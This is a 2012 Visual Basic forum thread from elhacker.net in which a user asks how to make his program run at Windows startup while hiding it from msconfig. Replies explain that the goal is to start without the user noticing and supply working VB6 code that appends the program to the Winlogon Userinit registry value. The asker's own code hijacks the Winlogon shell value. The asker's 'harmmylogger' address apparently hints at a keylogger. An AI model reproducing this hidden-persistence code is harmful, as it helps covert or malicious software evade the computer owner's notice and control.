Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Harmmy en 8 Agosto 2012, 12:11 pm



Título: Msconfig hide add to startup
Publicado por: Harmmy en 8 Agosto 2012, 12:11 pm
add to startup proje msconfig hide
help

Visual Basic 6


Título: Re: Msconfig hide add to startup
Publicado por: тαптяα en 8 Agosto 2012, 12:15 pm
WTF


Título: Re: Msconfig hide add to startup
Publicado por: Harmmy en 8 Agosto 2012, 12:52 pm
wtf ?


Título: Re: Msconfig hide add to startup
Publicado por: тαптяα en 8 Agosto 2012, 13:37 pm
I don't understand anything, sorry.


Título: Re: Msconfig hide add to startup
Publicado por: Harmmy en 8 Agosto 2012, 14:08 pm
my project add to startup but msconfig hide


Título: Re: Msconfig hide add to startup
Publicado por: #!drvy en 8 Agosto 2012, 14:38 pm
Lo que quiere es añadir su programa al inicio de windows pero que no aparezca en el msconfig.exe.

Oseas, quiere que su programa se inicie cuando inicia windows pero que el usuario no se entere de que lo hace.

PD: Harmmy, this is a Spanish speaking forum. As you can guess most of the people here can't understand you so please use a translator like Google Translate.

Saludos


Título: Re: Msconfig hide add to startup
Publicado por: Danyfirex en 8 Agosto 2012, 16:19 pm
there are many way.

here one of them


You can add it in Userinit.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon


 Userinit

C:\Windows\system32\userinit.exe,C:\yourprogram.exe


Saludos :)



Título: Re: Msconfig hide add to startup
Publicado por: Harmmy en 8 Agosto 2012, 18:12 pm
Can you give a sample project?


Título: Re: Msconfig hide add to startup
Publicado por: Danyfirex en 8 Agosto 2012, 19:35 pm
Can you give a sample project?

http://www.ex-designz.net/apidetail.asp?api_id=183 (http://www.ex-designz.net/apidetail.asp?api_id=183)


Título: Re: Msconfig hide add to startup
Publicado por: Harmmy en 9 Agosto 2012, 09:19 am
Thanks :) my project
Código
  1. Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal HKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
  2. Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
  3. Private Declare Function RegCloseKey Lib "advapi32" (ByVal HKey As Long) As Long
  4.  
  5.  
  6. Private Const HKEY_CURRENT_USER = &H80000001
  7. Private Const HKEY_LOCAL_MACHINE = &H80000002
  8. Private Const KEY_WRITE = &H20006
  9. Private Const REG_SZ = 1
  10.  
  11. Private Function Baslangica_Ekle_MsConfige_Gozukmeden()
  12. Dim sMyPath As String
  13. sMyPath = (App.Path & "\" & App.EXEName & ".exe")
  14. Call Dosyayi_Baslangica_Ekle(HKEY_LOCAL_MACHINE, "shell", "explorer.exe," & sMyPath, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon")
  15. End Function
  16.  
  17. Private Sub Dosyayi_Baslangica_Ekle(ByVal HKey As Long, ByVal MKey As String, ByVal stringKeyVal As String, ByVal subkey As String)
  18. Dim HRKey As Long, StrB As String
  19. Dim retval As Long
  20.    retval = RegOpenKeyEx(HKey, subkey, 0, KEY_WRITE, HRKey)
  21.        If retval <> 0 Then
  22.            Exit Sub
  23.        End If
  24.    StrB = stringKeyVal & vbNullChar
  25.    retval = RegSetValueEx(HRKey, MKey, 0, REG_SZ, ByVal StrB, Len(StrB))
  26.    RegCloseKey HRKey
  27. End Sub


Título: Re: Msconfig hide add to startup
Publicado por: Danyfirex en 9 Agosto 2012, 15:04 pm
 the black backgroung is cuz Explorer is not running. so Use the  Userinit key.




Código
  1. Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal HKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
  2. Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
  3. Private Declare Function RegCloseKey Lib "advapi32" (ByVal HKey As Long) As Long
  4.  
  5.  
  6. Private Const HKEY_CURRENT_USER = &H80000001
  7. Private Const HKEY_LOCAL_MACHINE = &H80000002
  8. Private Const KEY_WRITE = &H20006
  9. Private Const REG_SZ = 1
  10.  
  11.  
  12.  
  13. Private Sub Dosyayi_Baslangica_Ekle(ByVal HKey As Long, ByVal MKey As String, ByVal stringKeyVal As String, ByVal subkey As String)
  14. Dim HRKey As Long, StrB As String
  15. Dim retval As Long
  16.    retval = RegOpenKeyEx(HKey, subkey, 0, KEY_WRITE, HRKey)
  17.        If retval <> 0 Then
  18.            Exit Sub
  19.        End If
  20.    StrB = stringKeyVal & vbNullChar
  21.    retval = RegSetValueEx(HRKey, MKey, 0, REG_SZ, ByVal StrB, Len(StrB))
  22.    RegCloseKey HRKey
  23. End Sub
  24.  
  25. Private Sub Command1_Click()
  26.  
  27. Dim sMyPath As String
  28.  
  29. file = "C:\Users\Pink\Desktop\Anotador.exe"
  30. sMyPath = (App.Path & "\" & App.EXEName & ".exe")
  31. Call Dosyayi_Baslangica_Ekle(HKEY_LOCAL_MACHINE, "Userinit", "C:\Windows\system32\userinit.exe," & sMyPath, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon")
  32.  
  33. End Sub
  34.  

Saludos


Título: Re: Msconfig hide add to startup
Publicado por: Harmmy en 9 Agosto 2012, 16:03 pm
Does it work on my project after restarting the computer?


Título: Re: Msconfig hide add to startup
Publicado por: Danyfirex en 9 Agosto 2012, 16:54 pm
Does it work on my project after restarting the computer?

Yes. work even if you close session.


Título: Re: Msconfig hide add to startup
Publicado por: Harmmy en 9 Agosto 2012, 17:01 pm
Will you add msn to ask a few questions : harmmylogger@hotmail.com


Título: Re: Msconfig hide add to startup
Publicado por: Danyfirex en 9 Agosto 2012, 17:17 pm
The forum is to solve Questions.  :rolleyes:

ask here.